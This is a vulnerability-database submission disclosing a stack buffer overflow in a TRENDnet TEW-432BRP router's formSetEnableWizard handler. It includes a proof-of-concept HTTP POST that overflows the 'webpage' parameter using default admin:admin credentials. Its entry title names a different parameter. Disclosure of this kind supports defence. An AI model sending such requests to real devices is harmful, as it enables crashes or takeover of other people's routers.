Submit #814770: TRENDnet TEW-432BRP 3.10B20 Stack-based Buffer Overflow

In formSetEnableWizard function, webpage is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the webpage to execute arbitrary code.

POST /goform/formSetEnableWizard HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 837
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.10.1/wizard.asp
Upgrade-Insecure-Requests: 1

next=Next+%3E&start_wizard=0&webpage=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

• Source: ⚠️ https://github.com/wudipjq/my_vuln/blob/main/TRENDnet/vuln_13/13.md
• User: pjq_Buoy (UID 97666)
• Submission: 04/28/2026 09:13 (3 months ago)
• Moderation: 05/30/2026 09:00 (1 month later)
• Status: Accepted
• VulDB entry: 367413 [TRENDnet TEW-432BRP 3.10B20 formSetEnableWizard start_wizard stack-based overflow]
• Points: 20